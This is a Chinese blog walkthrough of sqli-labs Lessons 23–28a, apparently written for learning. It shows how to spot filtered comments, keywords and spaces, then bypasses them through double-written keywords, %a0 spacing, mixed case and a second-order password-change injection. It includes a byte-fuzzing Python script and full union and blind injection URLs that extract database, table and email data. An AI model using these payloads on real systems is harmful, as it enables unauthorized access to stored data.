本文链接:http://blog.csdn.net/u012763794/article/details/51457142
这次我又来了,Advanced Injections(进阶挑战),就是一些过滤绕过的东西了,基础挑战看这个两篇
最近搞逆向破解去了,http://www.giantbranch.cn/myblog/?p=27,所以这个拖得太久了,今天完工
通过sqli-labs学习sql注入——基础挑战之less1-10
http://blog.csdn.net/u012763794/article/details/51207833
通过sqli-labs学习sql注入——基础挑战之less11-22
http://blog.csdn.net/u012763794/article/details/51361152
首先怎么判断过滤了什么了,我们逐题来看看吧,我们才能进行下一轮操作
首先单引号,报错
加个%23 (#的url编码),对于#,get要url编码,post提交就不用,这个可以看看前面两篇文章
那么我们可以知道后台php将#替换成空了,因为两个单引号之间没有空隙
这个不行,那么-- 单行注释看看,因为我们要在--后加个空格或其他什么字符,单行注释才有效
我们可以看到这里的报错只把原语句的limit前面单引号报出来了,因为我们加了空格,使它与我们自己加的单引号隔了一个空格,我们自己加的单引号跟前面的匹配就没报错,只报了一个单引号,对比less1我们就知道过滤了--,替换成空了
下面来进行不加空格的对比
下图是less1的,只对后面的单引号报错出来,因为这个单引号与前面的id='1'被--分开了,前面单引号是匹配的,不会报错显示出来
对于less23,这里判断就更加明显了,两个单引号之间没空隙了,所以肯定是将 -- 替换为空字符了
我们看看源码,确实是这样
那么总结一下如何判断注释过滤,具体过滤成什么就要看报错信息了
#:直接加 单引号,双引号等,后面再加个#
--:这个也是咯,直接加 单引号,双引号等,后面再加个--,后面不用空格(因为--注释有效的时候,后面要有空格或其他字符才行,这里判断过滤就不用了)
那么只能闭合绕过了吧,多行注释符好像不行
提取数据什么的就看上两篇的less 1吧
登陆一看,就是一个完整的注册登录,改密码的网站,一看根目录,确实有很多文件
通过在上面注册登录了解了流程之后,我们就对每个文件都审计一下吧,可以先从index.php开始,
其实真正有跟数据库交互的就login_create.php,login.php,pass_change.php这三个文件
login.php (对登录进行处理的文件),对用户和密码都过滤了
login_create.php(对新建用户进行处理的文件)
$username= mysql_escape_string($_POST['username']) ;
$pass= mysql_escape_string($_POST['password']);
$re_pass= mysql_escape_string($_POST['re_password']);
过滤了三个字段,
到了pass_change.php我们就有收获了
发现更改密码时,直接从SESSION里面获取而没有进行任何的过滤,一旦我的用户名有注释符,那么我就可以随意更改别人的密码了
那我们就先新建一个特殊的用户,再更改密码就行了
下面以admin为例(账户:admin' -- 密码:asdf)
注册后看看数据库有没有
这样用户名不是就有了注释符了,我们登陆去改密码吧,为了方便查看效果,我在php添加输出sql语句
到数据库看看确实被改了
可能有同学会问,注册的时候不是被过滤了单引号吗
是的, 我们admin' -- 变成了admin\' -- ,
这才能使admin\' -- 的左右单引号正常匹配,但存进数据库的时候他就是一个单引号啊,(转义只是暂时在这里使它失去了单引号的作用,但它还是表示单引号)
当然这里新建用户
admin' # 也是可以的
确认单引号字符注入
http://localhost/sqli-labs/Less-25/?id=1'
判断过滤了or,跟less1对比报错即可推断出来
http://localhost/sqli-labs/Less-25/?id=1' or1
还是截个图吧,第一个是less1的,第二个图是less25的
同理
判断过滤了and
http://localhost/sqli-labs/Less-25/?id=1' and1
再分析下源码,开了i模式的匹配,大小写是不能饶的,我们就可以利用or和and对应的数学符号进行注入了
用&&的时候要urlencode才能传到后台
当然还可以双写绕过
http://localhost/sqli-labs/Less-25/?id=1' oorr '1'='1
http://localhost/sqli-labs/Less-25/?id=1' anandd '1'='1
那么盲注怎么判断过滤了and跟or呢,直接在前面添加or或and
这一题的代码跟上面一样,只不过这里是关闭了报错,所以这里只讲判断
确认过滤了#
http://localhost/sqli-labs/Less-26/?id=%231
确认过滤了or
http://localhost/sqli-labs/Less-26/?id=or1
确认过滤多行注释符
http://localhost/sqli-labs/Less-26/?id=/*1
确认过滤了单行注释
http://localhost/sqli-labs/Less-26/
确认过滤了斜杠
http://localhost/sqli-labs/Less-26/?id=/1
确认过滤了反斜杠
http://localhost/sqli-labs/Less-26/?id=1\
确认过滤了空格,报错注入才行哦,这个判断
http://localhost/sqli-labs/Less-26/?id=1' ' '
真是累啊,下面看看源码,我是看着源码确认的,所以确认过滤了什么还是比较累的
下面看看绕过吧,看着都难绕,这次就提取完整的数据吧,
我们常见的绕过空格的就是多行注释,/**/但这里过滤了,所以这行不通,
下面试试宽字节的伎俩看看能不能代替空格,可看下图发现可以哦,那么还有没有其他呢,写个脚本跑一下就知道咯(但有点遗憾......,不过还是有点收获)
脚本如下:
#-*- coding:utf8 -*-
"""
@version:
@author: giantbranch
@file: testsqli.py
@time: 2016/5/29 23:14
"""
import requests
def changeToHex(num):
tmp = hex(i).replace("0x", "")
if len(tmp)<2:
tmp = '0' + tmp
return "%" + tmp
req = requests.session()
for i in xrange(0,256):
i = changeToHex(i)
url = "http://localhost/sqli-labs/Less-26/?id=1'" + i + "%26%26" + i + "'1'='1"
ret = req.get(url)
if 'Dumb' in ret.content:
print "good,this can use:" + i
运行结果
我挑第一个09看看,发现除了%a0其他的都不能代替空格,有点伤心啊,其实我们发现除了%a0,基本都是过滤了的字符,如%20(空格),%23(井号),%2a(星号) %2d(减号) %2f (斜杠)%5c(反斜杠),至于%09-%0d都是什么制表符,换行符,换页符什么的,也算是空格吧,这也可以找出程序过滤了什么符号原来,通不通用还有待测试实践,改造一下估计可以找出程序过滤了什么
那么我们只能用%a0代替空格了
完整payload:
确认字段数
http://localhost/sqli-labs/Less-26/?id=0%27union%a0select%a01,2,3,4%a0%26%26%a0%271%27=%271
http://localhost/sqli-labs/Less-26/?id=0%27union%a0select%a01,2,3%a0%26%26%a0%271%27=%271
获取当前使用的数据库
http://localhost/sqli-labs/Less-26/?id=0%27union%a0select%a01,database(),3%a0%26%26%a0%271%27=%271
获取表信息
http://localhost/sqli-labs/Less-26/?id=0%27union%a0select%a01,group_concat(table_name),3%a0from%a0infoorrmation_schema.tables%a0where%a0table_schema='security'%26%26%a0%271%27=%271
获取列信息
http://localhost/sqli-labs/Less-26/?id=0%27union%a0select%a01,group_concat(column_name),3%a0from%a0infoorrmation_schema.columns%a0where%a0table_schema='security'%a0anandd%a0table_name='emails'%26%26%a0%271%27=%271
最后获取数据,发现提取不了
http://localhost/sqli-labs/Less-26/?id=0%27%a0union%a0select%a01,email_id,3%a0from%a0emails%26%26%a0%271%27=%271
为什么表列都提取出来了,数据就提取不了呢,报错报到我崩溃了,这个暂时搁着,先下一课,知道的可以告诉我
6.10号更新:
终于知道怎么提取数据了,上面的语法确实是错误的,给两个吧
http://localhost/sqli-labs/Less-26/?id=0%27%a0union%a0select%a01,group_concat(email_id),3%a0from%a0emails%a0union%a0select(1),2,'3
http://localhost/sqli-labs/Less-26/?id=0%27%a0union%a0select%a01,group_concat(email_id),3%a0from%a0emails%a0where%a0%271%27=%271
这个跟上面差不多,不过这里不会报错,那么判断过滤了什么跟上面基本类似,这里根据页面的返回有数据还是无数据
但还有个问题,怎么区分他是过滤了还是强制转化成整形呢,一幅图让你知道
可以看到,由于第一个字符不是数字intval直接转换为0了,而当过滤了的话,那么那个id=#1就是正常的id=1时的id了
老话,判断为单引号型
http://localhost/sqli-labs/Less-27/?id=1'
发现也过滤空格
具体判断跟26差不多,union和select看下面
判断过滤,改一下就可以判断双写,大小写行不行了
http://localhost/sqli-labs/Less-27/?id=select1
http://localhost/sqli-labs/Less-27/?id=union1
看看过滤吧,
多行注释,单行注释,空格
大小写的union和select
m (PCRE_MULTILINE)
默认情况下,PCRE 认为目标字符串是由单行字符组成的(然而实际上它可能会包含多行), "行首"元字符 (^) 仅匹配字符串的开始位置, 而"行末"元字符 ($) 仅匹配字符串末尾, 或者最后的换行符(除非设置了 D 修饰符)。这个行为和 perl 相同。 当这个修饰符设置之后,“行首”和“行末”就会匹配目标字符串中任意换行符之前或之后,另外, 还分别匹配目标字符串的最开始和最末尾位置。这等同于 perl 的 /m 修饰符。如果目标字符串 中没有 "\n" 字符,或者模式中没有出现 ^ 或 $,设置这个修饰符不产生任何影响。
s (PCRE_DOTALL)
如果设置了这个修饰符,模式中的点号元字符匹配所有字符,包含换行符。如果没有这个 修饰符,点号不匹配换行符。这个修饰符等同于 perl 中的/s修饰符。 一个取反字符类比如 [^a] 总是匹配换行符,而不依赖于这个修饰符的设置。/m 当设定了此修正符,“行起始”和“行结束”除了匹配整个字符串开头和结束外,还分别匹配其中的换行符的之后和之前。这和 Perl 的 /m 修正符是等效的。如果目标字符串中没有“\n”字符或者模式中没有 ^ 或 $,则设定此修正符没有任何效果。 实际上就就是匹配多行的意思?
/s 使圆点元字符(.)匹配换行符, 上面这里没有点就不用管了,那么上面直接大小写绕过就可以了
直接上payload
http://localhost/sqli-labs/Less-27/?id='%a0uNion%a0sElect(1),(database()),(3) or (1)='1 爆数据库
http://localhost/sqli-labs/Less-27/?id='%a0uNion%a0sElect(1),(group_concat(table_name)),(3)%a0from%a0information_schema.tables%a0where%a0table_schema='security'%26%26%a0%271%27=%271 爆表
http://localhost/sqli-labs/Less-27/?id='%a0uNion%a0sElect(1),group_concat(column_name),3%a0from%a0information_schema.columns%a0where%a0table_schema='security'%a0%26%26%a0table_name='emails'%26%26%a0%271%27=%271 爆列
http://localhost/sqli-labs/Less-27/?id='%a0uNion%a0sElect(1),group_concat(email_id),3%a0from%a0emails%a0uniOn%a0seLect (1),2,'3 提取数据
或者
数据库
http://localhost/sqli-labs/Less-27/?id=0'%a0uniOn%a0sElEct%a01,database(),'3
数据表
http://localhost/sqli-labs/Less-27/?id=0'%a0uniOn%a0sElEct%a01,group_concat(table_name),3%a0from%a0information_schema.tables%a0where%a0table_schema='security'%26%26%a0%271%27=%271
数据列
http://localhost/sqli-labs/Less-27/?id=0'%a0uniOn%a0sElEct%a01,group_concat(column_name),3%a0from%a0information_schema.columns%a0where%a0table_schema='security'and%a0table_name='emails'%26%26%a0%271%27=%271
提取数据
http://localhost/sqli-labs/Less-27/?id=0'%a0uniOn%a0sElEct%a01,group_concat(email_id),3%a0from%a0emails%a0where%a0%271%27=%271
这个是less 27的盲注版本,双引号型的
http://localhost/sqli-labs/Less-27a/?id=1"or"1"="1
下面给一下盲注的payload吧,
http://localhost/sqli-labs/Less-27a/?id=1"and(length(database())>7)%a0uNion%a0sELect%a01,2,"3
http://localhost/sqli-labs/Less-27a/?id=1"and(length(database())>8)%a0uNion%a0sELect%a01,2,"3
判断数据库名的长度,其实只是变形了一下,原理跟之前的盲注什么的没什么区别,
直接看代码吧,因为跟上面的课程差不多
那个i表示正在匹配的模式,i是忽略大小写,\s就是匹配任意空白字符,制表符啊,换行啊空格啊等,那我们中间不加空格能绕过吧
还是用%a0吧
最后提取数据的payload
http://localhost/sqli-labs/Less-28/?id=0%27)%a0union%a0select%a01,group_concat(email_id),3%a0from%a0emails%a0where%a0(%271%27=%271
发现作者把前面的都注释掉了,我们把注释去掉吧,不然没挑战啊
这个是上一个的盲注,有了上面的基础,也不用说太多了
既然是这篇的最后一课,给个具体payload吧,爆数据库的,先看名字长度,再看每个字符,有长度才知道要搞多少次嘛
长度是8
http://localhost/sqli-labs/Less-28a/?id=1')and(length(database())>7)and('1')=('1
http://localhost/sqli-labs/Less-28a/?id=1')and(length(database())>8)and('1')=('1
第一个字符是115,即s
http://localhost/sqli-labs/Less-28a/?id=1')and(ascii(substr((sElect%a0database()),1,1))>114)and('1')=('1
http://localhost/sqli-labs/Less-28a/?id=1')and(ascii(substr((sElect%a0database()),1,1))>115)and('1')=('1
好了,接下来的挑战就不继续干了,希望大家继续加油,继续挑战完
其实后面的挑战的题解,网上都有,但是最重要的是学习方法,举一反三,相信你学会了我的学习方法,之后的挑战也很快可以ko的。
本文链接:http://blog.csdn.net/u012763794/article/details/51457142